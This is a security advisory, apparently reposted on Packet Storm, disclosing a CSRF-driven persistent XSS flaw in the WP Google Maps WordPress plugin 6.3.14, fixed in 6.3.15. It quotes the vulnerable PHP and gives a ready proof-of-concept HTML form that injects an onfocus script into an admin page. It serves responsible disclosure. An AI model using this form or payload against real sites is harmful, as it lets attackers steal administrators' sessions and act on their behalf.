exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Google Maps 6.3.14 Cross Site Request Forgery

WordPress Google Maps 6.3.14 Cross Site Request Forgery
Posted Nov 11, 2016
Authored by Securify B.V., Sipke Mellema

WordPress Google Maps plugin version 6.3.14 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
SHA-256 | f561f52225402b48f3f253963d3a14e7732f445a9eb81cedba6aa67394d63d00

WordPress Google Maps 6.3.14 Cross Site Request Forgery

Change Mirror Download
------------------------------------------------------------------------
Persistent Cross-Site Scripting in WP Google Maps Plugin via CSRF
------------------------------------------------------------------------
Sipke Mellema, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A persistent Cross-Site Scripting vulnerability was found in the WP
Google Maps Plugin. This issue allows an attacker to perform a wide
variety of actions, such as stealing Administrators' session tokens, or
performing arbitrary actions on their behalf. In order to exploit this
issue, the attacker has to lure/force a logged on WordPress
Administrator into opening a URL provided by an attacker.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160724-0007

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on the WP Google Maps WordPress
Plugin version 6.3.14.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue is resolved in WP Google Maps WordPress Plugin version
6.3.15.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/persistent_cross_site_scripting_in_wp_google_maps_plugin_via_csrf.html


The issue exists in the file wpGoogleMaps.php and is caused by the lack of output encoding on the wpgmza_store_locator_query_string request parameter. The parameter is sanitized with sanitize_text_field, which will encode characters for usage in HTML context. However, the parameter is used in JavaScript context, allowing for Cross-Site Scripting. The vulnerable code is listed below.

$other_settings['store_locator_query_string'] = sanitize_text_field($_POST['wpgmza_store_locator_query_string']);
if (isset($_POST['wpgmza_store_locator_restrict'])) { $other_settings['wpgmza_store_locator_restrict'] = sanitize_text_field($_POST['wpgmza_store_locator_restrict']); }
[..]
if (isset($map_other_settings['wpgmza_store_locator_restrict'])) { $restrict_search = $map_other_settings['wpgmza_store_locator_restrict']; } else { $restrict_search = false; }
[..]
{ types: ['geocode'], componentRestrictions: {country: '<?php echo $restrict_search; ?>'} });

Proof of Concept

Have an authenticated admin visit a webpage with the following form:

<html>
<body>
<form action="http://<wordpress site>/wp-admin/admin.php?page=wp-google-maps-menu&action=edit&map_id=1" method="POST">
<input type="hidden" name="wpgmza_id" value="1" />
<input type="hidden" name="wpgmza_start_location" value="45.950464398418106,-109.81550500000003" />
<input type="hidden" name="wpgmza_start_zoom" value="2" />
<input type="hidden" name="wpgmza_title" value="My first map" />
<input type="hidden" name="wpgmza_width" value="100" />
<input type="hidden" name="wpgmza_map_width_type" value="%" />
<input type="hidden" name="wpgmza_height" value="400" />
<input type="hidden" name="wpgmza_map_height_type" value="px" />
<input type="hidden" name="wpgmza_map_align" value="1" />
<input type="hidden" name="wpgmza_map_type" value="1" />
<input type="hidden" name="wpgmza_theme_data_0" value="" />
<input type="hidden" name="wpgmza_store_locator_restrict" value="ad" />
<input type="hidden" name="wpgmza_store_locator_query_string" value=":i8gr4"onfocus="alert(1)"autofocus="" />
<input type="hidden" name="wpgmza_store_locator_bounce" value="on" />
<input type="hidden" name="wpgmza_max_zoom" value="1" />
<input type="hidden" name="wpgmza_savemap" value="Save Map i?1/2»" />
<input type="hidden" name="wpgmza_edit_id" value="" />
<input type="hidden" name="wpgmza_animation" value="0" />
<input type="hidden" name="wpgmza_infoopen" value="0" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

When the form is submitted (or auto-submitted), a popup box will appear, which means that the JavaScript from the parameter wpgmza_store_locator_query_string is executed in the admin's browser. The JavaScript will run every time the map (with id 1 in this case) is viewed/edited by an admin.


------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close